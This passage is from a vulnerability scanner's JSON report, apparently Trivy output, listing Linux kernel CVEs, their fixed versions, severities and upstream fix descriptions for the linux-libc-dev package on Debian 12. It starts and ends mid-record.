"https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/bd0e9289e2642f6a5c54faad304ce0f41e926d22%20%287.2-rc6%29", "https://git.kernel.org/stable/c/09e722030e8148ba4ed1e42c6b2ea57bda9f9895", "https://git.kernel.org/stable/c/4ba5bf7ed50f235ea4581de8e7a0002f4ed287b0", "https://git.kernel.org/stable/c/546221b86ceeba0d8fec92d46a0604bb7b62be07", "https://git.kernel.org/stable/c/6201cd1d70f1670c5b31ac506e7ab2fa7b8e7f75", "https://git.kernel.org/stable/c/80f48523a0fe42db2e7375dff4e38a25c117090a", "https://git.kernel.org/stable/c/b453e00da1211e997b82743d28af7714c59c05c8", "https://git.kernel.org/stable/c/bd0e9289e2642f6a5c54faad304ce0f41e926d22", "https://git.kernel.org/stable/c/dfea32dd76f390e3155177b0038cc47b01386198", "https://linux.oracle.com/cve/CVE-2026-74469.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026081534-CVE-2026-74469-d3f3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74469", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74469" ], "PublishedDate": "2026-08-15T13:17:51.623Z", "LastModifiedDate": "2026-10-16T20:17:29.653Z" }, { "VulnerabilityID": "CVE-2026-74476", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74476", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:45c532689acc08576309ca8e0e95068c1e6ba23cf9db14246bcb9a031c7b8fcd", "Title": "kernel: veth: convert frag_list skbs before running XDP", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nveth: convert frag_list skbs before running XDP\n\nA frag_list skb can reach veth with data_len set but nr_frags zero.\nveth_convert_skb_to_xdp_buff() only converts skbs that are shared,\nlocked, have frags[], or do not have enough headroom. It later uses\nskb_is_nonlinear() to decide whether to set XDP_FLAGS_HAS_FRAGS and\nxdp_frags_size.\n\nThat exposes frag_list data to XDP as if it were stored in frags[], but\nfrags[] is empty. AF_XDP copy mode can then trust the bogus XDP fragment\nmetadata, walk an empty fragment entry, and crash in memcpy() from\n__xsk_rcv().\n\nRoute non-linear skbs through skb_pp_cow_data() before exposing them to\nXDP, and only advertise XDP frags when the resulting skb has frags[].\nskb_copy_bits() already handles frag_list input, and skb_pp_cow_data()\nbuilds frags[] output with skb_add_rx_frag(), which is the\nrepresentation XDP multi-buffer expects.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74476", "https://git.kernel.org/linus/d0d6415963040c401e7a7e4e482a698ba52448cb%20%287.2-rc6%29", "https://git.kernel.org/stable/c/04958dba44dc795dc79ce2fcbc117821bbbd6542", "https://git.kernel.org/stable/c/0be3632597b8349d43a7dc4244b492dc62a05998", "https://git.kernel.org/stable/c/5c1c15c540fc45820ce3033c319151ec891bc10a", "https://git.kernel.org/stable/c/b24ba0bbffe3e23eb2f6838881c1fabcb29fb9fb", "https://git.kernel.org/stable/c/d0d6415963040c401e7a7e4e482a698ba52448cb", "https://git.kernel.org/stable/c/f9c1fff857e93be709c8b52ed1a643f37bd82c66", "https://linux.oracle.com/cve/CVE-2026-74476.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://lore.kernel.org/linux-cve-announce/2026081535-CVE-2026-74476-c830@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74476", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74476" ], "PublishedDate": "2026-08-15T13:17:52.397Z", "LastModifiedDate": "2026-10-16T20:17:30.613Z" }, { "VulnerabilityID": "CVE-2026-74480", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74480", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:023e63a59cc3a22f83fe7f0be85aab4659f951270246199820da75570486358f", "Title": "kernel: net: bridge: stop fast-leave after deleting a port group", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bridge: stop fast-leave after deleting a port group\n\nbr_multicast_leave_group() iterates mp-\u003eports with pp = \u0026p-\u003enext in\nits fast-leave path. After br_multicast_del_pg() removes p,\ncontinuing the loop advances pp through the deleted entry.\n\nIf multicast-to-unicast was enabled, the bridge can hold multiple port\ngroups for the same port and group with different source MAC\naddresses. Once multicast-to-unicast is disabled,\nbr_port_group_equal() matches those entries by port only. A fast leave\ncan then delete one entry and continue from its stale next pointer,\nleaving mp-\u003eports pointing at a deleted port group.\n\nFast leave only needs to remove one matching port group. Break after\nbr_multicast_del_pg() so the loop stops before dereferencing the\nremoved entry.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:66180", "https://access.redhat.com/security/cve/CVE-2026-74480", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468102", "https://bugzilla.redhat.com/2479812", "https://bugzilla.redhat.com/2481936", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2484456", "https://bugzilla.redhat.com/2486463", "https://bugzilla.redhat.com/2486999", "https://bugzilla.redhat.com/2492329", "https://bugzilla.redhat.com/2492811", "https://bugzilla.redhat.com/2492841", "https://bugzilla.redhat.com/2501252", "https://bugzilla.redhat.com/2502394", "https://bugzilla.redhat.com/2510892", "https://bugzilla.redhat.com/2511932", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/2517046", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2479812", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2486999", "https://bugzilla.redhat.com/show_bug.cgi?id=2492329", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2501252", "https://bugzilla.redhat.com/show_bug.cgi?id=2502394", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2517046", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43493", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46330", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74480", "https://errata.almalinux.org/9/ALSA-2026-66180.html", "https://errata.rockylinux.org/RLSA-2026:66180", "https://git.kernel.org/linus/a39789f211b8a4125f0c70e05b30cf715f4f187d%20%287.2-rc6%29", "https://git.kernel.org/stable/c/0309ebbc570000ea0df11c06b69798e5860c5f6f", "https://git.kernel.org/stable/c/159ad90cb929c033308bb39a2c5f8fbf393b77aa", "https://git.kernel.org/stable/c/1a109cc9890d017c41d77e6c82da739579c49f0b", "https://git.kernel.org/stable/c/4695430e8132420bf8de94da3eb36a6cf35fde6b", "https://git.kernel.org/stable/c/482bcb85139addb4e8ac8ed10baeda3e0aad4031", "https://git.kernel.org/stable/c/4c57056ca6aace2e9f94ae9298bf49ef6b0c95e4", "https://git.kernel.org/stable/c/a39789f211b8a4125f0c70e05b30cf715f4f187d", "https://git.kernel.org/stable/c/d6c32e2e25a9a06ba021030e26b6d602a277eb72", "https://linux.oracle.com/cve/CVE-2026-74480.html", "https://linux.oracle.com/errata/ELSA-2026-66355-0.html", "https://lore.kernel.org/linux-cve-announce/2026081536-CVE-2026-74480-e620@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74480", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74480" ], "PublishedDate": "2026-08-15T13:17:52.82Z", "LastModifiedDate": "2026-10-16T20:17:30.937Z" }, { "VulnerabilityID": "CVE-2026-74488", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74488", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e7511a84f131db69c5555eec7329087b250d4f0523df78b9234114a10fc387d2", "Title": "kernel: wifi: mwifiex: use the subframe length when parsing A-MSDU TDLS frames", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mwifiex: use the subframe length when parsing A-MSDU TDLS frames\n\nmwifiex_11n_dispatch_amsdu_pkt() splits an A-MSDU with\nieee80211_amsdu_to_8023s() and walks the resulting subframes. For each\nsubframe it passes the subframe data pointer to\nmwifiex_process_tdls_action_frame(), but pairs it with skb-\u003elen, the\nlength of the A-MSDU parent, instead of rx_skb-\u003elen:\n\n\trx_skb = __skb_dequeue(\u0026list);\n\trx_hdr = (struct rx_packet_hdr *)rx_skb-\u003edata;\n\tif (ISSUPP_TDLS_ENABLED(priv-\u003eadapter-\u003efw_cap_info) \u0026\u0026\n\t ntohs(rx_hdr-\u003eeth803_hdr.h_proto) == ETH_P_TDLS) {\n\t\tmwifiex_process_tdls_action_frame(priv, (u8 *)rx_hdr,\n\t\t\t\t\t\t skb-\u003elen);\n\t}\n\nThe parent is not a valid description of that buffer, and may not be\nvalid memory at all. ieee80211_amsdu_to_8023s() ends with\n\n\tif (!reuse_skb)\n\t\tdev_kfree_skb(skb);\n\nand it only sets reuse_skb when the parent is linear, is not a\nhead_frag, and is being consumed as the *last* subframe. So when the\nparent does not qualify for reuse it has already been freed, and the\nread of skb-\u003elen is a use-after-free. When it is reused, skb-\u003elen is\nthe length of the last subframe, applied to every earlier subframe,\nwhich over-states the buffer whenever an earlier subframe is shorter.\n\nThe callee cannot absorb a wrong length, because it derives its own\nceiling from the value it is given. Each frame type computes\n\n\ties_len = len - sizeof(struct ethhdr) - TDLS_*_FIX_LEN;\n\nand the element walk is then bounded entirely against that ceiling,\n\n\tfor (end = pos + ies_len; pos + 1 \u003c end; pos += 2 + pos[1]) {\n\t\tu8 ie_len = pos[1];\n\n\t\tif (pos + 2 + ie_len \u003e end)\n\t\t\tbreak;\n\nso a too-large len moves end past the end of the subframe and the walk\nreads and copies beyond it. The A-MSDU layout is chosen by the sender,\nwhich makes the difference between the last subframe and a shorter\nearlier one remotely selectable. Reaching this requires TDLS support in\nfirmware and the TDLS ethertype on the subframe.\n\nThe other caller, mwifiex_process_rx_packet(), is correct: it passes a\npointer and a length that describe the same region of the RX buffer.\n\nPass rx_skb-\u003elen, the length of the subframe actually being parsed.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74488", "https://git.kernel.org/linus/99a948382af8a225e2d5e54a7052158cd6281cc6%20%287.2-rc6%29", "https://git.kernel.org/stable/c/25e5a3fe4f15e30f74eca42cbf3bcc3a3fbeda79", "https://git.kernel.org/stable/c/3b02275833a0d3e6583627995d614fa99bdf364f", "https://git.kernel.org/stable/c/5a21ab03829cb6d2682c127f22e2b9cd63b4393f", "https://git.kernel.org/stable/c/707664027bb9307f7268eda403af7c4ccd9b8644", "https://git.kernel.org/stable/c/99a948382af8a225e2d5e54a7052158cd6281cc6", "https://git.kernel.org/stable/c/a1f0f7dc7eb15754e6931b433edb7beb754c996a", "https://git.kernel.org/stable/c/c9dcfe6b8b71369e1d732e2ff622c3696a2f032c", "https://git.kernel.org/stable/c/ece2ebb34247d573142617dfc534a9dc11ba59be", "https://linux.oracle.com/cve/CVE-2026-74488.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026081538-CVE-2026-74488-bf0e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74488", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74488" ], "PublishedDate": "2026-08-15T13:17:53.69Z", "LastModifiedDate": "2026-10-16T20:17:31.617Z" }, { "VulnerabilityID": "CVE-2026-74509", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74509", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0b7a0135ecb7110d8460c7d77372b3ec8f0ec48363ae3f40493c2ffac47b172a", "Title": "kernel: Bluetooth: hci_sync: Fix advertising data UAFs", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_sync: Fix advertising data UAFs\n\nhci_find_adv_instance() returns an adv_info pointer that is valid only\nwhile hdev-\u003elock is held. The advertising command-sync paths perform\ninstance lookups without that lock and, in some cases, retain the pointer\nwhile waiting for a controller response.\n\nAn advertising termination event can therefore interleave as follows:\n\n hci_cmd_sync_work hci_rx_work\n hci_find_adv_instance()\n __hci_cmd_sync_status()\n wait for controller reply hci_dev_lock()\n hci_remove_adv_instance()\n kfree(adv)\n adv-\u003escan_rsp_changed = false\n\nKASAN reported:\n\n BUG: KASAN: slab-use-after-free in hci_set_ext_scan_rsp_data_sync+0x2e1/0x300\n Write of size 1 at addr ffff88810a45d21d by task kworker/u17:0/88\n Workqueue: hci0 hci_cmd_sync_work\n Call Trace:\n hci_set_ext_scan_rsp_data_sync+0x2e1/0x300\n hci_schedule_adv_instance_sync+0x390/0x4c0\n hci_cmd_sync_work+0x173/0x300\n Allocated by task 87:\n hci_add_adv_instance+0x538/0xac0\n add_advertising+0x885/0x1160\n Freed by task 89:\n kfree+0x131/0x3c0\n hci_remove_adv_instance+0x1d8/0x3b0\n hci_le_ext_adv_term_evt+0x17b/0x730\n\nProtect the instance lookup and payload construction in the extended\nadvertising, scan response, and periodic advertising data paths. Snapshot\nthe advertising parameters under hdev-\u003elock, but release the lock before\nwaiting for the controller.\n\nClear advertising-data dirty bits before issuing their commands and\nrestore them after a failure using a fresh lookup. Likewise, update the\nreported transmit power through a fresh lookup after the parameter command\ncompletes. No adv_info pointer then survives an HCI command wait.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-74509", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/cdc36db204ffd97b947d64374cf23a210dc74777%20%287.2-rc6%29", "https://git.kernel.org/stable/c/565971488191bf54a87a417abafab6ad0de72201", "https://git.kernel.org/stable/c/95cdcd8c82a501931fd3ae9b3811b0b6da167e94", "https://git.kernel.org/stable/c/b16ebdbebd2d37f4cdc590bc3e9db71fe90350a3", "https://git.kernel.org/stable/c/c4cec575a6d6f7c36808a3a0017b0675968bb06b", "https://git.kernel.org/stable/c/cdc36db204ffd97b947d64374cf23a210dc74777", "https://git.kernel.org/stable/c/eb1d8318764de7216e6dbba29a24d69f7ce51348", "https://linux.oracle.com/cve/CVE-2026-74509.html", "https://linux.oracle.com/errata/ELSA-2026-86033.html", "https://lore.kernel.org/linux-cve-announce/2026081542-CVE-2026-74509-eb82@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74509", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74509" ], "PublishedDate": "2026-08-15T13:17:55.95Z", "LastModifiedDate": "2026-10-16T20:17:33.55Z" }, { "VulnerabilityID": "CVE-2026-74516", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74516", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5cdbcd7ced33918dda5fc2c547cfa0e8728f9f88e0fb0688d0f024030ba6acdb", "Title": "kernel: KVM: SVM: Update x2APIC MSR intercepts if AVIC is inhibited while L2 is active", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SVM: Update x2APIC MSR intercepts if AVIC is inhibited while L2 is active\n\nAlways update x2APIC MSR intercepts for L1 when AVIC is deactivated, even\nif L2 is active and KVM is using a separate MSR bitmap to run L2. If AVIC\nis fully enabled prior to running L2, and is then inhibited while L2 is\nactive (for a VM-scoped inhibit), then KVM will run L1 with AVIC disabled,\nbut with x2APIC MSR intercepts disabled, i.e. will allow L1 to read most of\nthe host's APIC state, send arbitrary interrupts, change task priority, and\nultimately trivially DoS the host.\n\nE.g. sending a self-IPI in L1 on HYPERV_REENLIGHTENMENT_VECTOR, 0xee, with\nCONFIG_HYPERV=n in the host kernel as a \"safe\" PoC, yields:\n\n Spurious interrupt (vector 0xee) on CPU#425. Acked\n\nAnd hacking KVM to abuse kvm_set_posted_intr_wakeup_handler() to register a\nhandler and WARN on POSTED_INTR_WAKEUP_VECTOR yields:\n\n ------------[ cut here ]------------\n WARNING: arch/x86/kvm/svm/svm.c:5594 at pi_wakeup_handler+0x9/0x10 [kvm_amd], CPU#156: nested_x2apic_t/316940\n CPU: 156 UID: 0 PID: 316940 Comm: nested_x2apic_t Tainted: G S U\n Tainted: [S]=CPU_OUT_OF_SPEC, [U]=USER\n Hardware name: Google Astoria-Turin/astoria, BIOS 0.20260209.0-0 02/09/2026\n RIP: 0010:pi_wakeup_handler+0x9/0x10 [kvm_amd]\n Call Trace:\n \u003cIRQ\u003e\n sysvec_kvm_posted_intr_wakeup_ipi+0x64/0x80\n \u003c/IRQ\u003e\n \u003cTASK\u003e\n asm_sysvec_kvm_posted_intr_wakeup_ipi+0x1a/0x20\n RIP: 0010:vcpu_run+0x1430/0x1e40 [kvm]\n kvm_arch_vcpu_ioctl_run+0x2c1/0x600 [kvm]\n kvm_vcpu_ioctl+0x580/0x6b0 [kvm]\n __se_sys_ioctl+0x6d/0xb0\n do_syscall_64+0x10a/0x480\n entry_SYSCALL_64_after_hwframe+0x4b/0x53\n RIP: 0033:0x46ff4b\n \u003c/TASK\u003e\n ---[ end trace 0000000000000000 ]---", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-74516", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", 